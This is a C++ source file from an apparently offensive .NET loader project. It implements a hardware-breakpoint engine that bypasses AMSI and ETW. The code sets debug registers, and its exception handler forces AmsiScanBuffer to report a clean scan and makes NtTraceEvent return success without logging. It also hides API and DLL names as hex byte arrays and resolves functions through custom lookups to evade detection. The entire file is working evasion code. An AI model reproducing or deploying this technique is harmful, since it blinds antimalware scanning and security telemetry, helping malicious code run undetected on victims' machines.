Files
racoten-BetterNetLoader/BetterNetLoader/HwBpEngine.cpp
T
2025-07-10 20:41:50 -07:00

147 lines
5.7 KiB
C++

#include <Windows.h>
#include <cstdio>
#include <ntstatus.h>
#include "winternal.h"
// Ensure NT_SUCCESS is defined.
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
// --- Static Strings (as before) ---
static const char s_err_get_thread_context[] = {
0x5B,0x2D,0x5D,0x20,0x47,0x65,0x74,0x54,0x68,0x72,0x65,0x61,0x64,0x43,0x6F,0x6E,
0x74,0x65,0x78,0x74,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,
0x20,0x65,0x72,0x72,0x6F,0x72,0x3A,0x20,0x25,0x6C,0x75,0x0A,0x00
}; // "[-] GetThreadContext failed with error: %lu\n"
static const char s_err_invalid_slot[] = {
0x5B,0x2D,0x5D,0x20,0x49,0x6E,0x76,0x61,0x6C,0x69,0x64,0x20,0x62,0x72,0x65,0x61,
0x6B,0x70,0x6F,0x69,0x6E,0x74,0x20,0x73,0x6C,0x6F,0x74,0x3A,0x20,0x25,0x75,0x0A,
0x00
}; // "[-] Invalid breakpoint slot: %u\n"
static const char s_err_ntcontinue_not_found[] = {
0x5B,0x2D,0x5D,0x20,0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x20,0x6E,
0x6F,0x74,0x20,0x66,0x6F,0x75,0x6E,0x64,0x2E,0x0A,0x00
}; // "[-] NtContinue not found.\n"
static const char s_err_ntcontinue_failed[] = {
0x5B,0x2D,0x5D,0x20,0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x20,0x66,
0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,0x20,0x73,0x74,0x61,0x74,0x75,
0x73,0x3A,0x20,0x30,0x78,0x25,0x6C,0x78,0x0A,0x00
}; // "[-] NtContinue failed with status: 0x%lx\n"
static const char s_amsi_scan_buffer[] = {
0x41,0x6D,0x73,0x69,0x53,0x63,0x61,0x6E,0x42,0x75,0x66,0x66,0x65,0x72,0x00
}; // "AmsiScanBuffer"
static const char s_nt_trace_event[] = {
0x4E,0x74,0x54,0x72,0x61,0x63,0x65,0x45,0x76,0x65,0x6E,0x74,0x00
}; // "NtTraceEvent"
static const char s_nt_continue[] = {
0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x00
}; // "NtContinue"
// Narrow string for ntdll.dll is not used now; we use the wide version.
static const WCHAR s_ntdll_dll_w[] = {
0x006E,0x0074,0x0064,0x006C,0x006C,0x002E,0x0064,0x006C,0x006C,0x0000
}; // L"ntdll.dll"
// Wide string for amsi.dll.
static const WCHAR s_amsi_dll_w[] = {
0x0061,0x006D,0x0073,0x0069,0x002E,0x0064,0x006C,0x006C,0x0000
}; // L"amsi.dll"
// --- Modified Functions Using Replacement APIs ---
// Reimplementation of setting a hardware breakpoint on the current thread.
// "slot" should be 0, 1, 2, or 3. "targetAddr" is the address to break on.
bool SetUniqueHardwareBreakpoint(unsigned int slot, void* targetAddr) {
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(GetCurrentThread(), &ctx)) {
std::printf(s_err_get_thread_context, GetLastError());
return false;
}
// Choose the correct debug register.
switch (slot) {
case 0: ctx.Dr0 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
case 1: ctx.Dr1 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
case 2: ctx.Dr2 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
case 3: ctx.Dr3 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
default:
std::printf(s_err_invalid_slot, slot);
return false;
}
// Clear any existing configuration for this slot.
ctx.Dr7 &= ~(0xFULL << (16 + slot * 4));
// Enable the breakpoint in this slot.
ctx.Dr7 |= (1ULL << (slot * 2));
// Use NtContinue to resume execution with our modified context.
typedef NTSTATUS(NTAPI* NtContinue_t)(PCONTEXT, BOOLEAN);
NtContinue_t NtContinueFunc = reinterpret_cast<NtContinue_t>(
GetProcAddressReplacement(GetModuleHandleReplacement(s_ntdll_dll_w), s_nt_continue)
);
if (!NtContinueFunc) {
std::printf(s_err_ntcontinue_not_found);
return false;
}
NTSTATUS status = NtContinueFunc(&ctx, FALSE);
if (!NT_SUCCESS(status)) {
std::printf(s_err_ntcontinue_failed, status);
return false;
}
// (If NtContinue succeeds, this function will not return.)
return true;
}
// Exception handler for unique hardware breakpoints.
// This function checks if the single-step exception occurred at one of our known addresses
// and, if so, patches the context to simulate a successful function return.
LONG HandleUniqueHwbpException(PEXCEPTION_POINTERS exPtrs) {
HMODULE hAmsi = GetModuleHandleReplacement(s_amsi_dll_w);
void* addrAmsi = hAmsi ? GetProcAddressReplacement(hAmsi, s_amsi_scan_buffer) : nullptr;
HMODULE hNtdll = GetModuleHandleReplacement(s_ntdll_dll_w);
void* addrNtTrace = hNtdll ? GetProcAddressReplacement(hNtdll, s_nt_trace_event) : nullptr;
EXCEPTION_RECORD* exRec = exPtrs->ExceptionRecord;
CONTEXT* ctx = exPtrs->ContextRecord;
if (exRec->ExceptionCode != EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH;
uintptr_t exAddr = reinterpret_cast<uintptr_t>(exRec->ExceptionAddress);
if (addrAmsi && exAddr == reinterpret_cast<uintptr_t>(addrAmsi)) {
// For the AmsiScanBuffer breakpoint:
DWORD64 retAddr = *reinterpret_cast<DWORD64*>(ctx->Rsp);
DWORD64* pScanResult = reinterpret_cast<DWORD64*>(
*reinterpret_cast<DWORD64*>(ctx->Rsp + 6 * sizeof(PVOID))
);
if (pScanResult) {
*pScanResult = 0;
}
ctx->Rip = retAddr;
ctx->Rsp += sizeof(PVOID);
ctx->Rax = S_OK;
return EXCEPTION_CONTINUE_EXECUTION;
}
else if (addrNtTrace && exAddr == reinterpret_cast<uintptr_t>(addrNtTrace)) {
// For the NtTraceEvent breakpoint:
ctx->Rip = *reinterpret_cast<DWORD64*>(ctx->Rsp);
ctx->Rsp += sizeof(PVOID);
ctx->Rax = STATUS_SUCCESS;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}